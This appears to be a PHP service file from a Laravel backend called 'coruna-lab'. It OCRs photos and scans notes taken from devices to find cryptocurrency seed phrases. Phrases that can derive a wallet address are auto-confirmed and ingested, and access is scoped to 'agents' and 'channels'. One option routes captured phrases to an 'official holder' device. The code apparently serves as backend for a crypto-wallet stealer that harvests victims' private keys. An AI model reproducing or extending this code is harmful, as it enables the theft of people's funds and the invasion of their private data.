Files
coruna-lab/app/Services/MnemonicScanService.php
T
2026-09-20 06:15:26 +08:00

470 lines
16 KiB
PHP

<?php
namespace App\Services;
use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Models\User;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\AgentScope;
use App\Support\NoteContent;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
class MnemonicScanService
{
public function __construct(
private readonly MnemonicDetector $detector,
private readonly OcrDriver $ocr,
private readonly PhotoOcrPreparer $preparer,
private readonly IngestService $ingest,
) {}
public function dispatchPhoto(Photo $photo): void
{
if (app()->runningUnitTests()) {
return;
}
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
}
public function dispatchNotes(Device $device): void
{
if (app()->runningUnitTests()) {
return;
}
ScanDeviceNotes::dispatch($device->id);
}
public function scanPhoto(Photo $photo): void
{
$jpeg = null;
try {
$jpeg = $this->preparer->jpegPath($photo);
if ($jpeg === null) {
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
return;
}
$text = $this->ocr->recognize($jpeg);
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
$this->markPhoto($photo, $this->photoStatus($photo), $text);
} catch (\Throwable $e) {
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
} finally {
if (is_string($jpeg) && is_file($jpeg)) {
@unlink($jpeg);
}
}
}
public function scanDeviceNotes(Device $device): void
{
$note = $this->latestNote($device);
if ($note === null) {
return;
}
foreach ($note->items() as $index => $item) {
$this->scanNoteItem($device, $note, $item, $index);
}
}
/**
* @param array{title: string, body: string, native_id: int|string|null} $item
*/
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
{
$key = NoteScan::itemKey($item, $index);
$hash = NoteScan::itemHash($item);
$row = NoteScan::query()->firstOrNew([
'device_id' => $device->id,
'note_id' => $note->id,
'item_key' => $key,
]);
if ($row->exists
&& hash_equals((string) $row->content_hash, $hash)
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
$text = $this->noteScanText(
trim((string) ($item['title'] ?? '')),
trim((string) ($item['body'] ?? '')),
);
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
$row->scanned_at = now();
$row->save();
}
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
{
$device = $finding->device;
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return false;
}
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
return false;
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingestScanMnemonic(
$device,
$phrase,
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
}
return true;
}
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
{
$finding->status = MnemonicFinding::STATUS_DISMISSED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::EMPTY,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
}
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function photoProgress(?int $deviceId = null, ?User $agent = null): array
{
if ($deviceId !== null) {
return $this->photoProgressCounts($deviceId, null);
}
return Cache::remember(
'scan.photo_progress:'.$this->progressScopeKey($agent),
60,
fn () => $this->photoProgressCounts(null, $agent),
);
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
private function photoProgressCounts(?int $deviceId, ?User $agent): array
{
$q = Photo::query();
if ($deviceId !== null) {
$q->where('device_id', $deviceId);
} elseif ($agent !== null) {
$q->join('devices', 'devices.id', '=', 'photos.device_id');
AgentScope::applyDeviceChannelScope($q, $agent);
$q->selectRaw('photos.scan_status as scan_status, COUNT(*) as c')->groupBy('photos.scan_status');
return $this->progressFromCounts($q->pluck('c', 'scan_status')->all());
}
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function noteProgress(?Device $device = null, ?User $agent = null): array
{
if ($device !== null) {
$note = $this->latestNote($device);
$items = $note ? $note->items() : [];
$total = count($items);
if ($total === 0) {
return $this->progressFromCounts([]);
}
$scans = NoteScan::query()
->where('device_id', $device->id)
->where('note_id', $note->id)
->get()
->keyBy('item_key');
$counts = [];
foreach ($items as $index => $item) {
$key = NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
}
return $this->progressFromCounts($counts);
}
return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) {
$itemTotal = 0;
$latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
$this->scopeNotesToAgent($latestIds, $agent);
$latestIds->groupBy('notes.device_id');
Note::query()
->whereIn('id', $latestIds)
->select(['id', 'content'])
->orderBy('id')
->chunkById(200, function ($notes) use (&$itemTotal) {
foreach ($notes as $note) {
$itemTotal += count(NoteContent::normalizeStored($note->content));
}
});
$scans = NoteScan::query();
$this->scopeNoteScansToAgent($scans, $agent);
$scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all();
$progress = $this->progressFromCounts($scannedRows);
$progress['total'] = $itemTotal;
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
return $progress;
});
}
private function progressScopeKey(?User $agent): string
{
return $agent === null ? 'all' : 'a:'.$agent->id;
}
private function scopeNotesToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
{
if ($agent === null) {
return;
}
$query->join('devices', 'devices.id', '=', 'notes.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
}
private function scopeNoteScansToAgent(\Illuminate\Database\Eloquent\Builder $query, ?User $agent): void
{
if ($agent === null) {
return;
}
$query->join('devices', 'devices.id', '=', 'note_scans.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
}
/**
* @param array<int, int> $counts
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
private function progressFromCounts(array $counts): array
{
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
return [
'total' => $pending + $empty + $suspected + $confirmed + $failed,
'scanned' => $empty + $suspected + $confirmed,
'suspected' => $suspected,
'confirmed' => $confirmed,
'failed' => $failed,
'pending' => $pending,
];
}
private function markPhoto(Photo $photo, int $status, string $text): void
{
$photo->scan_status = $status;
$photo->scanned_at = now();
$photo->ocr_text = mb_substr($text, 0, 8000);
$photo->save();
}
private function applyTextHit(
?Device $device,
string $source,
string $text,
?Photo $photo,
?Note $note,
?string $itemKey,
): void {
if ($device === null) {
return;
}
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
if ($photo !== null) {
$q->where('photo_id', $photo->id);
} else {
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
}
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
if ($hit === null || ! $this->worthRecording($source, $hit)) {
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
return;
}
$row = $q->first() ?? new MnemonicFinding([
'device_id' => $device->id,
'source' => $source,
'photo_id' => $photo?->id,
'note_id' => $note?->id,
'item_key' => $itemKey,
]);
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
return;
}
$confirmed = $this->canIngestHit($hit);
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
$row->candidate = $hit['candidate'];
$row->excerpt = mb_substr($text, 0, 2000);
$row->word_count = $hit['word_count'];
$row->score = $hit['score'];
if ($confirmed) {
$row->reviewed_by = 'scan';
$row->reviewed_at = now();
}
$row->save();
if ($confirmed) {
$this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
}
}
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
{
$holder = $source;
$origin = null;
if (! config('coruna.scan.agent_visible', true)) {
$official = Device::officialHolder();
if ($official !== null && (int) $official->id !== (int) $source->id) {
$holder = $official;
$origin = $source;
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
}
/**
* Album and notes both need 12+ consecutive words that can derive an address.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function canIngestHit(array $hit): bool
{
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
return false;
}
return Bip44::isUsableMnemonic((string) $hit['candidate']);
}
/**
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function worthRecording(string $source, array $hit): bool
{
if ($this->canIngestHit($hit)) {
return true;
}
if ($source === MnemonicFinding::SOURCE_NOTE) {
return false;
}
if (! empty($hit['confirmed'])) {
return true;
}
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
}
private function photoStatus(Photo $photo): int
{
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
private function noteStatus(Note $note, string $itemKey): int
{
$status = MnemonicFinding::query()
->where('note_id', $note->id)
->where('item_key', $itemKey)
->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
private function noteScanText(string $title, string $body): string
{
if ($title === '') {
return $body;
}
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
return $body !== '' ? $body : $title;
}
return $title."\n".$body;
}
/**
* Fetch the latest note for a device without triggering a MySQL sort
* on the large `content` column. Step 1 gets only the id (cheap ORDER BY
* on small column); step 2 fetches the full row by PK (no sort).
*/
private function latestNote(Device $device): ?Note
{
$id = $device->notes()->orderByDesc('id')->value('id');
return $id !== null ? Note::query()->find($id) : null;
}
}